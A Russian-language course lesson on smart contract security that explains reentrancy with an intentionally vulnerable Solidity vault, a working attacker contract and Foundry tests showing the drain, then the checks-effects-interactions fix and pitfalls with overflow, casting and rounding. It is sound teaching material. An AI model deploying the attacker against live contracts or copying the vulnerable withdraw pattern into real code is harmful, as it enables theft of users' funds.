Раздел 30 · Web3 на Rust

Безопасность контрактов: как теряют деньги и как это ловят

senior~45 мин

без входаВойди, чтобы отмечать прогресс, вести заметки и решать задачи в редакторе. войти

Безопасность контрактов: как теряют деньги и как это ловят

Мы научились доказывать, что вычисление проведено по правилам. Но большинство потерь в этой индустрии случилось не из-за сломанной криптографии, а из-за того, что правила были написаны с ошибкой, и всё исполнилось «корректно». Этот урок про типовые классы ошибок, каждая из которых уже стоила кому-то восьмизначной суммы, и про инструменты, которыми их находят раньше атакующего.

Модель угроз: почему тут сложнее, чем в обычном бэкенде

Четыре свойства среды, из-за которых привычные практики не спасают.

Код открыт, и в нём лежат деньги. Атакующий видит твой байткод и знает, сколько на контракте средств. Это не абстрактный риск, а постоянно работающий стимул: сотни людей читают новые контракты именно с этой целью.

Ошибку не откатить. В обычном сервисе баг чинится деплоем. Здесь контракт неизменяем, а если ты сделал его обновляемым, то завёл новый класс уязвимостей (об этом ниже).

Композиция без спроса. Любой контракт может позвать твой, и вызывающий может быть враждебным. Твоя функция обязана оставаться корректной, даже когда её зовут из середины чужой транзакции.

Всё атомарно и мгновенно. Флеш-кредит даёт атакующему на время одной транзакции сумму, которой у него нет, и не требует залога: если в конце транзакции деньги не вернулись, транзакция откатывается целиком. Значит, любое рассуждение вида «у злоумышленника не хватит капитала» в этой среде не работает.

Reentrancy: самая известная и самая живучая

Разберём подробно, потому что это архетип: пока ты не закончил работу, кто-то входит в тебя ещё раз.

Вот банк, в котором можно хранить эфир:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/// Уязвимый банк: сначала отправляет деньги, потом обнуляет баланс.
contract Vault {
    mapping(address => uint256) public balanceOf;

    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balanceOf[msg.sender];
        require(amount > 0, "nothing to withdraw");

        // ВЗАИМОДЕЙСТВИЕ идёт до ИЗМЕНЕНИЯ состояния: вот и вся уязвимость.
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balanceOf[msg.sender] = 0;
    }
}

Логика выглядит безобидно: посчитали, отправили, обнулили. Проблема в строке отправки. Когда получатель это контракт, call передаёт ему управление, и его код исполняется до того, как мы обнулим баланс. А значит, он может позвать withdraw снова, и проверка amount > 0 пройдёт, потому что в хранилище ещё лежит старое число.

Атакующий:

interface IVault {
    function deposit() external payable;
    function withdraw() external;
    function balanceOf(address who) external view returns (uint256);
}

/// Получает эфир и, пока банк считает его вкладчиком, заходит в withdraw ещё раз.
contract Attacker {
    IVault private vault;
    uint256 private constant DEPOSIT = 1 ether;

    constructor(IVault target) payable {
        vault = target;
    }

    function attack() external {
        vault.deposit{value: DEPOSIT}();
        vault.withdraw();
    }

    receive() external payable {
        // Условие входа: банк всё ещё считает, что нам должен, и деньги есть.
        if (vault.balanceOf(address(this)) > 0 && address(vault).balance >= DEPOSIT) {
            vault.withdraw();
        }
    }
}

И тест на Foundry, который показывает результат в цифрах:

function test_vault_is_drained() public {
    Vault vault = new Vault();

    // В банке лежат чужие 5 эфиров.
    vm.deal(alice, 5 ether);
    vm.prank(alice);
    vault.deposit{value: 5 ether}();

    Attacker attacker = new Attacker{value: 1 ether}(IVault(address(vault)));
    attacker.attack();

    // Атакующий положил 1, унёс 6: банк пуст, деньги Алисы у него.
    assertEq(address(vault).balance, 0);
    assertEq(address(attacker).balance, 6 ether);
}

Тест зелёный: банк действительно опустошён одной транзакцией.

Лечение стоит одну перестановку строк и называется checks-effects-interactions:

/// Тот же банк по правилу checks-effects-interactions.
contract SafeVault {
    mapping(address => uint256) public balanceOf;

    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balanceOf[msg.sender];   // checks
        require(amount > 0, "nothing to withdraw");

        balanceOf[msg.sender] = 0;                // effects

        (bool ok, ) = msg.sender.call{value: amount}(""); // interactions
        require(ok, "transfer failed");
    }
}

Тот же атакующий против этого банка не забирает ничего: к моменту передачи управления его баланс уже ноль.

function test_safe_vault_survives() public {
    SafeVault vault = new SafeVault();

    vm.deal(alice, 5 ether);
    vm.prank(alice);
    vault.deposit{value: 5 ether}();

    Attacker attacker = new Attacker{value: 1 ether}(IVault(address(vault)));
    attacker.attack();

    // Баланс обнулён ДО отправки, повторный вход не сработал.
    assertEq(address(vault).balance, 5 ether);
    assertEq(address(attacker).balance, 1 ether);
    assertEq(vault.balanceOf(alice), 5 ether);
}

Три уточнения, без которых картина неполная.

Повторный вход бывает не в ту же функцию. Классический замок защищает одну функцию, но атакующий может войти в другую, которая читает то же самое устаревшее состояние. Поэтому замок ставят на группу функций, работающих с общим состоянием.

Бывает повторный вход через чтение. Функция может вообще ничего не менять, а лишь возвращать цену или курс. Если её вызовут в момент, когда состояние пула наполовину обновлено, она вернёт честную с виду, но неверную величину, и уже на неё положится другой протокол. Так теряли деньги несколько кредитных площадок.

Токены передают управление. У популярных стандартов есть хуки, которые уведомляют получателя о переводе, и это тоже точка передачи управления. Перевод токена в общем случае небезопаснее, чем перевод эфира.

Арифметика: переполнение никуда не делось

Начиная с Solidity 0.8 обычная арифметика проверяется и при переполнении откатывает транзакцию, поэтому классический баг «баланс минус один превратился в огромное число» ушёл из типового кода. Но остались три двери.

Первая: блок unchecked, который ставят ради экономии газа. Внутри него проверок нет, и рассуждать о границах снова обязан человек.

Вторая: приведение к меньшему типу. Преобразование большого числа в короткий тип молча отбрасывает старшие биты, потому что это не арифметика, а приведение.

Третья, самая частая: округление. Целочисленное деление всегда вниз, и порядок операций решает, кому достанется остаток. Умножай до деления, а не после, и всегда проверяй, в чью пользу округляется результат. Атака на многие хранилища доходности сводилась ровно к тому, что округление шло в пользу атакующего, а не протокола.

премиум-урок

Продолжение в премиуме: 1 200 ₽ в месяц или 10 000 ₽ в год. Вместе с ним серверные проверки задач и школьные токены AI-коуча.

Оплата пока не подключена: премиум и курсы открываются промокодом.